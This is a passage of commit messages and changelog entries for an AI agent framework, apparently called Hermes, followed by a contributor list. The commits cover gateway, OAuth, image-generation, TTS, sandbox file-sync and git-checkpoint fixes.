small, but on a gateway processing thousands of background commands
per day the set grows until process exit.
Fix: _prune_if_needed() now discards _completion_consumed entries
alongside the session dict evictions it already performs (both the
TTL-based prune and the LRU-over-cap prune). Adds a final
belt-and-suspenders pass that drops any dangling entries whose
session_id no longer appears in _running or _finished.
Tests: tests/tools/test_accretion_caps.py — 9 cases
* Each container bound respected, oldest evicted
* No-op when under cap (no unnecessary work)
* Handles missing sub-containers without crashing
* Live read_file_tool path enforces caps end-to-end
* _completion_consumed pruned on TTL expiry
* _completion_consumed pruned on LRU eviction
* Dangling entries (no backing session) cleared
Broader suite: 3486 tests/tools + tests/cli pass. The single flake
(test_alias_command_passes_args) reproduces on unchanged main — known
cross-test pollution under suite-order load.
- gateway/platforms/weixin.py:
- Split aiohttp.ClientSession into _poll_session and _send_session
- Add _LIVE_ADAPTERS registry so send_weixin_direct() reuses the connected gateway adapter instead of creating a competing session
- Fixes silent message loss when gateway is running (iLink token contention)
- cron/scheduler.py:
- Support comma-separated deliver values (e.g. 'feishu,weixin') for multi-target delivery
- Delay pconfig/enabled check until standalone fallback so live adapters work even when platform is not in gateway config
- tools/send_message_tool.py:
- Synthesize PlatformConfig from WEIXIN_* env vars when gateway config lacks a weixin entry
- Fall back to WEIXIN_HOME_CHANNEL env var for home channel resolution
- tests/gateway/test_weixin.py:
- Update mocks to include _send_session
The send_message tool's direct-REST QQBot path used "QQBotAccessToken {token}"
which QQ's API rejects with 401. The correct format is "QQBot {token}" — the
gateway adapter at gateway/platforms/qqbot.py uses this format in all 5 header
sites (lines 341, 551, 579, 1068, 1467); this was the one outlier.
Credit to @Quon for surfacing this in #10257 (that PR had unrelated issues in
its media-upload logic and was closed; this salvages the genuine 1-line fix).
When a user edits a bundled skill, sync flags it as user_modified and
skips it forever. The problem: if the user later tries to undo the edit
by copying the current bundled version back into ~/.hermes/skills/, the
manifest still holds the old origin hash from the last successful
sync, so the fresh bundled hash still doesn't match and the skill stays
stuck as user_modified.
Adds an escape hatch for this case.
hermes skills reset <name>
Drops the skill's entry from ~/.hermes/skills/.bundled_manifest and
re-baselines against the user's current copy. Future 'hermes update'
runs accept upstream changes again. Non-destructive.
hermes skills reset <name> --restore
Also deletes the user's copy and re-copies the bundled version.
Use when you want the pristine upstream skill back.
Also available as /skills reset in chat.
- tools/skills_sync.py: new reset_bundled_skill(name, restore=False)
- hermes_cli/skills_hub.py: do_reset() + wired into skills_command and
handle_skills_slash; added to the slash /skills help panel
- hermes_cli/main.py: argparse entry for 'hermes skills reset'
- tests/tools/test_skills_sync.py: 5 new tests covering the stuck-flag
repro, --restore, unknown-skill error, upstream-removed-skill, and
no-op on already-clean state
- website/docs/user-guide/features/skills.md: new 'Bundled skill updates'
section explaining the origin-hash mechanic + reset usage
* feat(image_gen): upgrade Recraft V3 → V4 Pro, Nano Banana → Pro
Upstream asked for these two upgrades ASAP — the old entries show
stale models when newer, higher-quality versions are available on FAL.
Recraft V3 → Recraft V4 Pro
ID: fal-ai/recraft-v3 → fal-ai/recraft/v4/pro/text-to-image
Price: $0.04/image → $0.25/image (6x — V4 Pro is premium tier)
Schema: V4 dropped the required `style` enum entirely; defaults
handle taste now. Added `colors` and `background_color`
to supports for brand-palette control. `seed` is not
supported by V4 per the API docs.
Nano Banana → Nano Banana Pro
ID: fal-ai/nano-banana → fal-ai/nano-banana-pro
Price: $0.08/image → $0.15/image (1K); $0.30 at 4K
Schema: Aspect ratio family unchanged. Added `resolution`
(1K/2K/4K, default 1K for billing predictability),
`enable_web_search` (real-time info grounding, +$0.015),
and `limit_generations` (force exactly 1 image).
Architecture: Gemini 2.5 Flash → Gemini 3 Pro Image. Quality
and reasoning depth improved; slower (~6s → ~8s).
Migration: users who had the old IDs in `image_gen.model` will
fall through the existing 'unknown model → default' warning path
in `_resolve_fal_model()` and get the Klein 9B default on the next
run. Re-run `hermes tools` → Image Generation to pick the new
version. No silent cost-upgrade aliasing — the 2-6x price jump
on these tiers warrants explicit user re-selection.
Portal note: both new model IDs need to be allowlisted on the
Nous fal-queue-gateway alongside the previous 7 additions, or
users on Nous Subscription will see the 'managed gateway rejected
model' error we added previously (which is clear and
self-remediating, just noisy).
* docs: wrap '<1s' in backticks to unblock MDX compilation
Docusaurus's MDX parser treats unquoted '<' as the start of JSX, and
'<1s' fails because '1' isn't a valid tag-name start character. This
was broken on main since PR #11265 (never noticed because
docs-site-checks was failing on OTHER issues at the time and we
admin-merged through it).
Wrapping in backticks also gives the cell monospace styling which
reads more cleanly alongside the inline-code model ID in the same row.
The other '<1s' occurrence (line 52) is inside a fenced code block
and is already safe — code fences bypass MDX parsing.
* feat(mcp-oauth): scaffold MCPOAuthManager
Central manager for per-server MCP OAuth state. Provides
get_or_build_provider (cached), remove (evicts cache + deletes
disk), invalidate_if_disk_changed (mtime watch, core fix for
external-refresh workflow), and handle_401 (dedup'd recovery).
No behavior change yet — existing call sites still use
build_oauth_auth directly. Task 1 of 8 in the MCP OAuth
consolidation (fixes Cthulhu's BetterStack reliability issues).
* feat(mcp-oauth): add HermesMCPOAuthProvider with pre-flow disk watch
Subclasses the MCP SDK's OAuthClientProvider to inject a disk
mtime check before every async_auth_flow, via the central
manager. When a subclass instance is used, external token
refreshes (cron, another CLI instance) are picked up before
the next API call.
Still dead code: the manager's _build_provider still delegates
to build_oauth_auth and returns the plain OAuthClientProvider.
Task 4 wires this subclass in. Task 2 of 8.
* refactor(mcp-oauth): extract build_oauth_auth helpers
Decomposes build_oauth_auth into _configure_callback_port,
_build_client_metadata, _maybe_preregister_client, and
_parse_base_url. Public API preserved. These helpers let
MCPOAuthManager._build_provider reuse the same logic in Task 4
instead of duplicating the construction dance.
Also updates the SDK version hint in the warning from 1.10.0 to
1.26.0 (which is what we actually require for the OAuth types
used here). Task 3 of 8.
* feat(mcp-oauth): manager now builds HermesMCPOAuthProvider directly
_build_provider constructs the disk-watching subclass using the
helpers from Task 3, instead of delegating to the plain
build_oauth_auth factory. Any consumer using the manager now gets
pre-flow disk-freshness checks automatically.
build_oauth_auth is preserved as the public API for backwards
compatibility. The code path is now:
MCPOAuthManager.get_or_build_provider ->
_build_provider ->
_configure_callback_port
_build_client_metadata
_maybe_preregister_client
_parse_base_url
HermesMCPOAuthProvider(...)
Task 4 of 8.
* feat(mcp): wire OAuth manager + add _reconnect_event
MCPServerTask gains _reconnect_event alongside _shutdown_event.
When set, _run_http / _run_stdio exit their async-with blocks
cleanly (no exception), and the outer run() loop re-enters the
transport to rebuild the MCP session with fresh credentials.
This is the recovery path for OAuth failures that the SDK's
in-place httpx.Auth cannot handle (e.g. cron externally consumed
the refresh_token, or server-side session invalidation).
_run_http now asks MCPOAuthManager for the OAuth provider
instead of calling build_oauth_auth directly. Config-time,
runtime, and reconnect paths all share one provider instance
with pre-flow disk-watch active.
shutdown() defensively sets both events so there is no race
between reconnect and shutdown signalling.
Task 5 of 8.
* feat(mcp): detect auth failures in tool handlers, trigger reconnect
All 5 MCP tool handlers (tool call, list_resources, read_resource,
list_prompts, get_prompt) now detect auth failures and route
through MCPOAuthManager.handle_401:
1. If the manager says recovery is viable (disk has fresh tokens,
or SDK can refresh in-place), signal MCPServerTask._reconnect_event
to tear down and rebuild the MCP session with fresh credentials,
then retry the tool call once.
2. If no recovery path exists, return a structured needs_reauth
JSON error so the model stops hallucinating manual refresh
attempts (the 'let me curl the token endpoint' loop Cthulhu
pasted from Discord).
_is_auth_error catches OAuthFlowError, OAuthTokenError,
OAuthNonInteractiveError, and httpx.HTTPStatusError(401). Non-auth
exceptions still surface via the generic error path unchanged.
Task 6 of 8.
* feat(mcp-cli): route add/remove through manager, add 'hermes mcp login'
cmd_mcp_add and cmd_mcp_remove now go through MCPOAuthManager
instead of calling build_oauth_auth / remove_oauth_tokens
directly. This means CLI config-time state and runtime MCP
session state are backed by the same provider cache — removing
a server evicts the live provider, adding a server populates
the same cache the MCP session will read from.
New 'hermes mcp login <name>' command:
- Wipes both the on-disk tokens file and the in-memory
MCPOAuthManager cache
- Triggers a fresh OAuth browser flow via the existing probe
path
- Intended target for the needs_reauth error Task 6 returns
to the model
Task 7 of 8.
* test(mcp-oauth): end-to-end integration tests
Five new tests exercising the full consolidation with real file
I/O and real imports (no transport mocks):
1. external_refresh_picked_up_without_restart — Cthulhu's cron
workflow. External process writes fresh tokens to disk;
on the next auth flow the manager's mtime-watch flips
_initialized and the SDK re-reads from storage.
2. handle_401_deduplicates_concurrent_callers — 10 concurrent
handlers for the same failed token fire exactly ONE recovery
attempt (thundering-herd protection).
3. handle_401_returns_false_when_no_provider — defensive path
for unknown servers.
4. invalidate_if_disk_changed_handles_missing_file — pre-auth
state returns False cleanly.
5. provider_is_reused_across_reconnects — cache stickiness so
reconnects preserve the disk-watch baseline mtime.
Task 8 of 8 — consolidation complete.
* feat(image_gen): multi-model FAL support with picker in hermes tools
Adds 8 FAL text-to-image models selectable via `hermes tools` →
Image Generation → (FAL.ai | Nous Subscription) → model picker.
Models supported:
- fal-ai/flux-2/klein/9b (new default, <1s, $0.006/MP)
- fal-ai/flux-2-pro (previous default, kept backward-compat upscaling)
- fal-ai/z-image/turbo (Tongyi-MAI, bilingual EN/CN)
- fal-ai/nano-banana (Gemini 2.5 Flash Image)
- fal-ai/gpt-image-1.5 (with quality tier: low/medium/high)
- fal-ai/ideogram/v3 (best typography)
- fal-ai/recraft-v3 (vector, brand styles)
- fal-ai/qwen-image (LLM-based)
Architecture:
- FAL_MODELS catalog declares per-model size family, defaults, supports
whitelist, and upscale flag. Three size families handled uniformly:
image_size_preset (flux family), aspect_ratio (nano-banana), and
gpt_literal (gpt-image-1.5).
- _build_fal_payload() translates unified inputs (prompt + aspect_ratio)
into model-specific payloads, merges defaults, applies caller overrides,
wires GPT quality_setting, then filters to the supports whitelist — so
models never receive rejected keys.
- IMAGEGEN_BACKENDS registry in tools_config prepares for future imagegen
providers (Replicate, Stability, etc.); each provider entry tags itself
with imagegen_backend: 'fal' to select the right catalog.
- Upscaler (Clarity) defaults off for new models (preserves <1s value
prop), on for flux-2-pro (backward-compat). Per-model via FAL_MODELS.
Config:
image_gen.model = fal-ai/flux-2/klein/9b (new)
image_gen.quality_setting = medium (new, GPT only)
image_gen.use_gateway = bool (existing)
Agent-facing schema unchanged (prompt + aspect_ratio only) — model
choice is a user-level config decision, not an agent-level arg.
Picker uses curses_radiolist (arrow keys, auto numbered-fallback on
non-TTY). Column-aligned: Model / Speed / Strengths / Price.
Docs: image-generation.md rewritten with the model table and picker
walkthrough. tools-reference, tool-gateway, overview updated to drop
the stale "FLUX 2 Pro" wording.
Tests: 42 new in tests/tools/test_image_generation.py covering catalog
integrity, all 3 size families, supports filter, default merging, GPT
quality wiring, model resolution fallback. 8 new in
tests/hermes_cli/test_tools_config.py for picker wiring (registry,
config writes, GPT quality follow-up prompt, corrupt-config repair).
* feat(image_gen): translate managed-gateway 4xx to actionable error
When the Nous Subscription managed FAL proxy rejects a model with 4xx
(likely portal-side allowlist miss or billing gate), surface a clear
message explaining:
1. The rejected model ID + HTTP status
2. Two remediation paths: set FAL_KEY for direct access, or
pick a different model via `hermes tools`
5xx, connection errors, and direct-FAL errors pass through unchanged
(those have different root causes and reasonable native messages).
Motivation: new FAL models added to this release (flux-2-klein-9b,
z-image-turbo, nano-banana, gpt-image-1.5, ideogram-v3, recraft-v3,
qwen-image) are untested against the Nous Portal proxy. If the portal
allowlists model IDs, users on Nous Subscription will hit cryptic
4xx errors without guidance on how to work around it.
Tests: 8 new cases covering status extraction across httpx/fal error
shapes and 4xx-vs-5xx-vs-ConnectionError translation policy.
Docs: brief note in image-generation.md for Nous subscribers.
Operator action (Nous Portal side): verify that fal-queue-gateway
passes through these 7 new FAL model IDs. If the proxy has an
allowlist, add them; otherwise Nous Subscription users will see the
new translated error and fall back to direct FAL.
* feat(image_gen): pin GPT-Image quality to medium (no user choice)
Previously the tools picker asked a follow-up question for GPT-Image
quality tier (low / medium / high) and persisted the answer to
`image_gen.quality_setting`. This created two problems:
1. Nous Portal billing complexity — the 22x cost spread between tiers
($0.009 low / $0.20 high) forces the gateway to meter per-tier per
user, which the portal team can't easily support at launch.
2. User footgun — anyone picking `high` by mistake burns through
credit ~6x faster than `medium`.
This commit pins quality at medium by baking it into FAL_MODELS
defaults for gpt-image-1.5 and removes all user-facing override paths:
- Removed `_resolve_gpt_quality()` runtime lookup
- Removed `honors_quality_setting` flag on the model entry
- Removed `_configure_gpt_quality_setting()` picker helper
- Removed `_GPT_QUALITY_CHOICES` constant
- Removed the follow-up prompt call in `_configure_imagegen_model()`
- Even if a user manually edits `image_gen.quality_setting` in
config.yaml, no code path reads it — always sends medium.
Tests:
- Replaced TestGptQualitySetting (6 tests) with TestGptQualityPinnedToMedium
(5 tests) — proves medium is baked in, config is ignored, flag is
removed, helper is removed, non-gpt models never get quality.
- Replaced test_picker_with_gpt_image_also_prompts_quality with
test_picker_with_gpt_image_does_not_prompt_quality — proves only 1
picker call fires when gpt-image is selected (no quality follow-up).
Docs updated: image-generation.md replaces the quality-tier table
with a short note explaining the pinning decision.
* docs(image_gen): drop stale 'wires GPT quality tier' line from internals section
Caught in a cleanup sweep after pinning quality to medium. The
"How It Works Internally" walkthrough still described the removed
quality-wiring step.
Follow-ups on top of kshitijk4poor's cherry-picked salvage of PR #8018:
tools/environments/daytona.py
- PID-suffix /tmp/.hermes_sync.<pid>.tar so concurrent sync_back calls
against the same sandbox don't collide on the remote temp path
- Move sync_back() inside the cleanup lock and after the _sandbox-None
guard, with its own try/except. Previously a no-op cleanup (sandbox
already cleared) still fired sync_back → 3-attempt retry storm against
a nil sandbox (~6s of sleep). Now short-circuits cleanly.
tools/environments/file_sync.py
- Add _SYNC_BACK_MAX_BYTES (2 GiB) defensive cap: refuse to extract a
tar larger than the limit. Protects against runaway sandboxes
producing arbitrary-size archives.
- Add 'nothing previously pushed' guard at the top of sync_back(). If
_pushed_hashes and _synced_files are both empty, the FileSyncManager
was never initialized from the host side — there is nothing coherent
to sync back. Skips the retry/backoff machinery on uninitialized
managers and eliminates test-suite slowdown from pre-existing cleanup
tests that don't mock the sync layer.
tests/tools/test_file_sync_back.py
- Update _make_manager helper to seed a _pushed_hashes entry by default
so sync_back() exercises its real path. A seed_pushed_state=False
opt-out is available for noop-path tests.
- Add TestSyncBackSizeCap with positive and negative coverage of the
new cap.
tests/tools/test_sync_back_backends.py
- Update Daytona bulk download test to assert the PID-suffixed path
pattern instead of the fixed /tmp/.hermes_sync.tar.
Salvage of PR #8018 by @alt-glitch onto current main.
On sandbox teardown, FileSyncManager now downloads the remote .hermes/
directory, diffs against SHA-256 hashes of what was originally pushed,
and applies only changed files back to the host.
Core (tools/environments/file_sync.py):
- sync_back(): orchestrates download -> unpack -> diff -> apply with:
- Retry with exponential backoff (3 attempts, 2s/4s/8s)
- SIGINT trap + defer (prevents partial writes on Ctrl-C)
- fcntl.flock serialization (concurrent gateway sandboxes)
- Last-write-wins conflict resolution with warning
- New remote files pulled back via _infer_host_path prefix matching
Backends:
- SSH: _ssh_bulk_download — tar cf - piped over SSH
- Modal: _modal_bulk_download — exec tar cf - -> proc.stdout.read
- Daytona: _daytona_bulk_download — exec tar cf -> SDK download_file
- All three call sync_back() at the top of cleanup()
Fixes applied during salvage (vs original PR #8018):
| # | Issue | Fix |
|---|-------|-----|
| C1 | import fcntl unconditional — crashes Windows | try/except with fallback; _sync_back_locked skips locking when fcntl=None |
| W1 | assert for runtime guard (stripped by -O) | Replaced with proper if/raise RuntimeError |
| W2 | O(n*m) from _get_files_fn() called per file | Cache mapping once at start of _sync_back_impl, pass to resolve/infer |
| W3 | Dead BulkDownloadFn imports in 3 backends | Removed unused imports |
| W4 | Modal hardcodes root/.hermes, no explanation | Added docstring comment explaining Modal always runs as root |
| S1 | SHA-256 computed for new files where pushed_hash=None | Skip hashing when pushed_hash is None (comparison always False) |
| S2 | Daytona /tmp/.hermes_sync.tar never cleaned up | Added rm -f after download (best-effort) |
Tests: 49 passing (17 new: _infer_host_path edge cases, SIGINT
main/worker thread, Windows fcntl=None fallback, Daytona tar cleanup).
Based on #8018 by @alt-glitch.
Users with 'commit.gpgsign = true' in their global git config got a
pinentry popup (or a failed commit) every time the agent took a
background filesystem snapshot — every write_file, patch, or diff
mid-session. With GPG_TTY unset, pinentry-qt/gtk would spawn a GUI
window, constantly interrupting the session.
The shadow repo is internal Hermes infrastructure. It must not
inherit user-level git settings (signing, hooks, aliases, credential
helpers, etc.) under any circumstance.
Fix is layered:
1. _git_env() sets GIT_CONFIG_GLOBAL=os.devnull,
GIT_CONFIG_SYSTEM=os.devnull, and GIT_CONFIG_NOSYSTEM=1. Shadow
git commands no longer see ~/.gitconfig or /etc/gitconfig at all
(uses os.devnull for Windows compat).
2. _init_shadow_repo() explicitly writes commit.gpgsign=false and
tag.gpgSign=false into the shadow's own config, so the repo is
correct even if inspected or run against directly without the
env vars, and for older git versions (<2.32) that predate
GIT_CONFIG_GLOBAL.
3. _take() passes --no-gpg-sign inline on the commit call. This
covers existing shadow repos created before this fix — they will
never re-run _init_shadow_repo (it is gated on HEAD not existing),
so they would miss layer 2. Layer 1 still protects them, but the
inline flag guarantees correctness at the commit call itself.
Existing checkpoints, rollback, list, diff, and restore all continue
to work — history is untouched. Users who had the bug stop getting
pinentry popups; users who didn't see no observable change.
Tests: 5 new regression tests in TestGpgAndGlobalConfigIsolation,
including a full E2E repro with fake HOME, global gpgsign=true, and
a deliberately broken GPG binary — checkpoint succeeds regardless.
The blocking gateway approval wait at tools/approval.py called
`entry.event.wait(timeout=...)` which never touched the agent's
activity tracker. When a user was slow to respond to a /approve prompt
(or the gateway_timeout config was set higher than the default 300s),
the agent thread sat silent long enough for the gateway's inactivity
watchdog (agent.gateway_timeout, default 1800s) to kill it — even
though the agent was doing exactly the right thing and the user was
the one causing the delay.
The fix polls the event in 1s slices and calls touch_activity_if_due
between slices, mirroring the _wait_for_process() pattern in
tools/environments/base.py that covers the subprocess-waiting side of
the same problem. At the default 10s heartbeat cadence, a 300s
approval wait now pings activity ~30 times, well under the 1800s
idle threshold.
Observed in community user logs: 12 repeated 'Agent idle 1800s,
last_activity=executing tool: terminal' events across April 12-14.
Companion to PR #10501 which covered streaming / concurrent-tool /
Modal-backend gaps but did not touch approval.py.
Test: tests/tools/test_approval_heartbeat.py — verifies (1) heartbeats
fire during the wait, (2) user responses are still near-instant, and
(3) the approval path stays functional when the heartbeat helper
can't be imported.
Adds Google Gemini TTS as the seventh voice provider, with 30 prebuilt
voices (Zephyr, Puck, Kore, Enceladus, Gacrux, etc.) and natural-language
prompt control. Integrates through the existing provider chain:
- tools/tts_tool.py: new _generate_gemini_tts() calls the
generativelanguage REST endpoint with responseModalities=[AUDIO],
wraps the returned 24kHz mono 16-bit PCM (L16) in a WAV RIFF header,
then ffmpeg-converts to MP3 or Opus depending on output extension.
For .ogg output, libopus is forced explicitly so Telegram voice
bubbles get Opus (ffmpeg defaults to Vorbis for .ogg).
- hermes_cli/tools_config.py: exposes 'Google Gemini TTS' as a provider
option in the curses-based 'hermes tools' UI.
- hermes_cli/setup.py: adds gemini to the setup wizard picker, tool
status display, and API key prompt branch (accepts existing
GEMINI_API_KEY or GOOGLE_API_KEY, falls back to Edge if neither set).
- tests/tools/test_tts_gemini.py: 15 unit tests covering WAV header
wrap correctness, env var fallback (GEMINI/GOOGLE), voice/model
overrides, snake_case vs camelCase inlineData handling, HTTP error
surfacing, and empty-audio edge cases.
- docs: TTS features page updated to list seven providers with the new
gemini config block and ffmpeg notes.
Live-tested against api key against gemini-2.5-flash-preview-tts: .wav,
.mp3, and Telegram-compatible .ogg (Opus codec) all produce valid
playable audio.
Replace the HERMES_ENABLE_NOUS_MANAGED_TOOLS env-var feature flag with
subscription-based detection. The Tool Gateway is now available to any
paid Nous subscriber without needing a hidden env var.
Core changes:
- managed_nous_tools_enabled() checks get_nous_auth_status() +
check_nous_free_tier() instead of an env var
- New use_gateway config flag per tool section (web, tts, browser,
image_gen) records explicit user opt-in and overrides direct API
keys at runtime
- New prefers_gateway(section) shared helper in tool_backend_helpers.py
used by all 4 tool runtimes (web, tts, image gen, browser)
UX flow:
- hermes model: after Nous login/model selection, shows a curses
prompt listing all gateway-eligible tools with current status.
User chooses to enable all, enable only unconfigured tools, or skip.
Defaults to Enable for new users, Skip when direct keys exist.
- hermes tools: provider selection now manages use_gateway flag —
selecting Nous Subscription sets it, selecting any other provider
clears it
- hermes status: renamed section to Nous Tool Gateway, added
free-tier upgrade nudge for logged-in free users
- curses_radiolist: new description parameter for multi-line context
that survives the screen clear
Runtime behavior:
- Each tool runtime (web_tools, tts_tool, image_generation_tool,
browser_use) checks prefers_gateway() before falling back to
direct env-var credentials
- get_nous_subscription_features() respects use_gateway flags,
suppressing direct credential detection when the user opted in
Removed:
- HERMES_ENABLE_NOUS_MANAGED_TOOLS env var and all references
- apply_nous_provider_defaults() silent TTS auto-set
- get_nous_subscription_explainer_lines() static text
- Override env var warnings (use_gateway handles this properly now)
The completion-line printing block (idx = entry['task_index'] etc.)
was outside the 'for future in done:' loop but referenced 'entry'
which is only assigned inside that loop. When concurrent.futures.wait()
returns with an empty 'done' set (timeout expired, no futures finished),
the loop body never executes and 'entry' is unbound.
Moved the completion-line printing and spinner-update code inside
the for loop so each completed future gets its own status line,
and empty poll cycles simply loop back without accessing 'entry'.
- Extract duplicated activity-callback polling into shared
touch_activity_if_due() helper in tools/environments/base.py
- Use helper from both base.py _wait_for_process and
code_execution_tool.py local polling loop (DRY)
- Add test assertion that timeout output field contains the
timeout message and emoji (#10807)
- Add stream_consumer test for tool-boundary fallback scenario
where continuation is empty but final_text differs from
visible prefix (#10807)
When execute_code times out, the result JSON had status="timeout" and an
error field, but the output field was empty. Many models treat empty
output as "nothing happened" and produce an empty/minimal response. The
gateway stream consumer then considers the response "already sent" (from
pre-tool streaming) and silently drops it — leaving the user staring at
silence.
Three changes:
1. Include the timeout message in the output field (both local and remote
paths) so the model always has visible content to relay to the user.
2. Add periodic activity callbacks to the local execution polling loop so
the gateway's inactivity monitor knows execute_code is alive during
long runs.
3. Fix stream_consumer._send_fallback_final to not silently drop content
when the continuation appears empty but the final text differs from
what was previously streamed (e.g. after a tool boundary reset).
Wraps provider.create_session() in _get_session_info() with try/except
to catch cloud provider runtime failures (timeouts, auth errors, rate
limits, invalid responses). Falls back to _create_local_session() so
browser automation continues working when cloud APIs are down.
Marks fallback sessions with fallback_from_cloud, fallback_reason, and
fallback_provider metadata for observability. If both cloud and local
fail, raises RuntimeError with chained context from both errors.
Closes#10883
Co-authored-by: konsisumer <konsisumer@users.noreply.github.com>
* fix: stop /model from silently rerouting direct providers to OpenRouter (#10300)
detect_provider_for_model() silently remapped models to OpenRouter when
the direct provider's credentials weren't found via env vars. Three bugs:
1. Credential check only looked at env vars from PROVIDER_REGISTRY,
missing credential pool entries, auth store, and OAuth tokens
2. When env var check failed, silently returned ('openrouter', slug)
instead of the direct provider the model actually belongs to
3. Users with valid credentials via non-env-var mechanisms (pool,
OAuth, Claude Code tokens) got silently rerouted
Fix:
- Expand credential check to also query credential pool and auth store
- Always return the direct provider match regardless of credential
status -- let client init handle missing creds with a clear error
rather than silently routing through the wrong provider
Same philosophy as the provider-required fix: don't guess, don't
silently reroute, error clearly when something is missing.
Closes#10300
* fix: word-wrap spinner, interruptable agent join, and delegate_task interrupt
Three fixes:
1. Spinner widget clips long tool commands — prompt_toolkit Window had
height=1 and wrap_lines=False. Now uses wrap_lines=True with dynamic
height from text length / terminal width. Long commands wrap naturally.
2. agent_thread.join() blocked forever after interrupt — if the agent
thread took time to clean up, the process_loop thread froze. Now polls
with 0.2s timeout on the interrupt path, checking _should_exit so
double Ctrl+C breaks out immediately.
3. Root cause of 5-hour CLI hang: delegate_task() used as_completed()
with no interrupt check. When subagent children got stuck, the parent
blocked forever inside the ThreadPoolExecutor. Now polls with
wait(timeout=0.5) and checks parent_agent._interrupt_requested each
iteration. Stuck children are reported as interrupted, and the parent
returns immediately.
teknium1
annguyenNous
kurobaryo
kshitijk4poor
briandevans
tillfalko
firefly
zapabob
wysie
Ben Barclay
liuhao1024
Dusk
Брагарник Дмитро
Dusk1e
Robin Fernandes
Brian D. Evans
wysie
ygd58
MorAlekss
EloquentBrush0x
aaronlab
Peter
Dakota Secula-Rosell
Rodrigo
Dennis Vorobyov
waefrebeorn
AdamPlatin123
Edward-x
Jorge Fuenmayor
Yuan Li
Tranquil-Flow
sprmn24
Eugeniusz Gilewski
0xDevNinja
Rodrigo
CipherFrame
Stark-X
xxxigm
Bartok9
helix4u
liuhao1024
Julien Talbot
brooklyn!
H-Ali13381
emozilla
Jaaneek
Kyle Jeong
nekwo
zccyman
vanthinh6886
outsourc-e
kunci115
aqilaziz
fonhal
Fábio Siqueira
pepelax
awizemann
nnnet
loicnico96
bensargotest-sys
LeonSGP43
shunsuke-hikiyama
wesleysimplicio
jvinals
LifeJiggy
LifeJiggy
Gianfranco Piana
Slimydog21
Wesley Simplicio
glennc
Siddharth Balyan
zccyman
aqilaziz
soynchux
Mind-Dragon
QuenVix
Grogger
flooryyyy
0xchainer
alt-glitch
aydnOktay
nidhi-singh02
Animesh Mishra
buntingszn
Anadi Jaggia
AsoTora
fu576
pty819
iuyup
amathxbt
AhmetArif0
RhombusMaximus
McClean
Quarkex
Dan Benyamin
Austin Pickett
fr33d3m0n
OpenClaw Agent
Dominikh
Mibayy
konsisumer
LeonSGP43
Eric Litovsky
heathley
Henkey
qWaitCrypto
GodsBoy
Zhekinmaksim
memosr
Bartok
ddupont
Teknium
Dilee
Zhicheng Han
Abd0r
Hirokazu Ogawa
luyao618
Alexander Monas
Mason James
AJV20
Kowen Hao
Alan Chen
altmazza0-star
Andrew Ho
leon7609
Kailigithub
Brian Su
stephen0110
ambition0802
Gutslabs
misery-hl
jani
beardthelion
vominh1919
Chris Danis
Yoimex
ClawdIA
lhysdl
0668001438
阿泥豆
ms-alan
Ioodu
xyiy001
YAMAGUCHI Seiji
ideathinklab01-source
Emilien Domenge
pdonizete
nftpoetrist
yuehei
WanderWang
Yanzhong Su
dh
Kiala
JasonOA888
Mind-Dragon
hharry11
simbam99
johnncenae
Yukipukii1
y0shualee
Stephen Schoettler
Maxence Groine
Heltman
Ari Lotter
Shannon Sands
Scott Trinh
loongzhao
Lyle Lengyel
Teknium
Teknium
Pony.Ma
墨綠BG
Christian Scheid
Teknium
voidborne-d
Ivan Tonov
hhuang91
AntAISecurityLab
Alexazhu
Amanuel Tilahun Bogale
Matt Maximo
say8hi
Devorun
Jefferson
j0sephz
MikeFac
TaroballzChen
yuanhe
VantHoff
Loic Moncany
shushuzn
Ubuntu
WuTianyi123
ycbai
yudaiyan
Konstantinos Karachalios
niyoh
Jaffar Keikei
Kongxi
王强
pefontana
zhangguangtao
JackTheGit
teyrebaz33
ifrederico
AxDSan
Junass1
Aniruddha Adak
Allard
sjz-ks
Saurabh
handsdiff
etherman-os
ChimingLiu
liujinkun
Ubuntu
yeyitech
kshitijk4poor
konsisumer
